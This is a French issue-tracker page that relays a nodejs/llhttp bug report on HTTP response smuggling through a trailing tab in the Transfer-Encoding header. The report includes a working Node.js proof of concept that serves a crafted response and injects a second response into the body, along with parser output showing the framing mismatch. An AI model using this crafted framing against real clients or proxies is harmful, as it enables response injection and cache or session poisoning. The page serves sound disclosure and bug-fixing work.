HTTP response smuggling PRIMITIVE via a trailing HTAB in `Transfer-Encoding`
Les mainteneurs répondent en général sous 6 jours
Personne n'a encore pris cette issue.
Évaluation
- Difficulté
- 4/5
- Temps estimé
- 3-5 jours
- Accessibilité débutants
- 52/100
- Type d'issue
- Bug
- Clarté
- Plutôt claire
- Activité
- Active
- Stack technique
- node.js, typescript
- Domaine
- backend-api-design, security
Piste de recherche
Commencez par les chemins header_value_te_chunked_last et header_value_te_token, puis vérifiez comment forbidAfterChunkedInRequest et lenient_transfer_encoding affectent l’analyse des réponses. Reproduisez le PoC Node.js fourni et vérifiez qu’un HTAB final est traité comme un OWS supprimé, avec un framing chunked, une livraison correcte du body et des limites de message cohérentes.
Rédigé par le modèle d'indexation à partir du texte de l'issue.
Description
RFC 9110 §5.6.3 requires trailing OWS (SP or HTAB) to be stripped before a field value is
interpreted. header_value_te_chunked_last accepts SP but not HTAB, so chunked\t falls through
to header_value_te_token and into the generic fallback: F_TRANSFER_ENCODING is set, F_CHUNKED
is not. The message is then framed close-delimited and the chunk framing is handed to the
application as body bytes.
Responses only. On requests the value reaches forbidAfterChunkedInRequest and errors, unless
lenient_transfer_encoding is set.
PoC
const http = require('http'), net = require('net');
const RESP =
'HTTP/1.1 200 OK\r\nTransfer-Encoding: chunked\t\r\n\r\n' + // note the trailing TAB
'5\r\nhello\r\n0\r\n\r\n' + // a complete chunked body
'HTTP/1.1 200 OK\r\nContent-Length: 9\r\n\r\nINJECTED!'; // a second, separate response
const origin = net.createServer(c =>
c.once('data', () => { c.write(RESP); setTimeout(() => c.end(), 100); }));
origin.listen(0, () => http.get({ port: origin.address().port }, res => {
let body = '';
res.on('data', c => body += c);
res.on('end', () => {
console.log("res.headers['transfer-encoding'] =", JSON.stringify(res.headers['transfer-encoding']));
console.log('res.complete =', res.complete);
console.log('body =', JSON.stringify(body));
origin.close();
});
}));
res.headers['transfer-encoding'] = "chunked"
res.complete = true
body = "5\r\nhello\r\n0\r\n\r\nHTTP/1.1 200 OK\r\nContent-Length: 9\r\n\r\nINJECTED!"
Node trims the tab before exposing the header, so the application sees transfer-encoding: chunked
and complete: true while llhttp framed the message as identity. rawHeaders carries the same
trimmed value, so the discrepancy is not observable through any public API. The second response is
delivered as body content.
The same bytes, parsed with the tab stripped, yield a different message count:
tab NOT stripped (llhttp): headers_complete chunked=0 keepalive=0 body(62) '5\r\nhello\r\n0\r\n\r\nHTTP/1.1 200 OK...'
tab stripped: headers_complete chunked=1 keepalive=1 body(5) 'hello' message_complete
headers_complete status=200 content_length=9 body(9) 'INJECTED!' message_complete
One message versus two, so an llhttp consumer sharing a byte stream with an OWS-trimming peer
disagrees about where the response ends. keepalive=0 limits this to the connection llhttp owns;
the application still receives attacker-chosen bytes as the body of a response it believes is
chunked.
- Langage dominant
- TypeScript
- Étoiles
- 2k
- Forks
- 236
- Merge moyen
- 5 j 2 h
- PR mergées (30 j)
- 1
Préparer son environnement
- Fournit un Dockerfile ou un fichier Docker Compose
- Aucun modèle de pull request
- Lire le guide de contribution
Par où commencer
- Lisez l'issue en entier, puis le guide de contribution du projet.
- Signalez en commentaire que vous la prenez — cela évite que deux personnes fassent le même travail.
- Forkez le dépôt et travaillez sur une branche.
- Ouvrez une pull request qui référence le numéro de l'issue.
Autres issues de nodejs/llhttp
-
Difficulté 2/5 1-3 heures Accessibilité débutants 72/100
Les mainteneurs répondent en général sous 6 jours
-
HTTP request smuggling primitive: bare LF accepted as a request-line terminator in strict modeOuverte
Difficulté 4/5 3-5 jours Accessibilité débutants 55/100
nodejs/llhttp#877 · 1 commentaire ·
Les mainteneurs répondent en général sous 6 jours
-
Not easy to get the number of methods llhttp hasPeut-être pris @official-burak l’a pris il y a 54 jours. Ouverte
Difficulté 3/5 1-2 jours Accessibilité débutants 54/100
Les mainteneurs répondent en général sous 6 jours
-
Should there be a way to block requests with multiple hosts or none are sent?Peut-être pris @Vizonex l’a pris il y a 201 jours. Ouverte
Difficulté 5/5 Plus d'une semaine Accessibilité débutants 32/100
nodejs/llhttp#816 · 1 commentaire ·
Les mainteneurs répondent en général sous 6 jours
-
Difficulté 2/5 1-3 heures Accessibilité débutants 45/100
nodejs/llhttp#782 · 2 commentaires · 4 réactions ·
Les mainteneurs répondent en général sous 6 jours
Toutes les issues de nodejs/llhttp
Issues similaires
-
Difficulté 1/5 Moins d'une heure Accessibilité débutants 82/100
Les mainteneurs répondent en général sous 1 jour
-
bug
Difficulté 2/5 1-3 heures Accessibilité débutants 82/100
juice-shop/juice-shop#3706 ·
Les mainteneurs répondent en général sous 1 jour
-
sbx up from a subfolder silently pushes the whole work treePeut-être pris @pdettori l’a pris aujourd’hui. Ouverteenhancement
Difficulté 2/5 1-3 heures Accessibilité débutants 76/100
Les mainteneurs répondent en général sous 1 jour
-
bug
Difficulté 2/5 1-3 heures Accessibilité débutants 68/100
outline/outline#14348 · 1 commentaire ·
Les mainteneurs répondent en général sous 1 jour
-
bug needs-triage
Difficulté 2/5 1-3 heures Accessibilité débutants 68/100
Les mainteneurs répondent en général sous 1 jour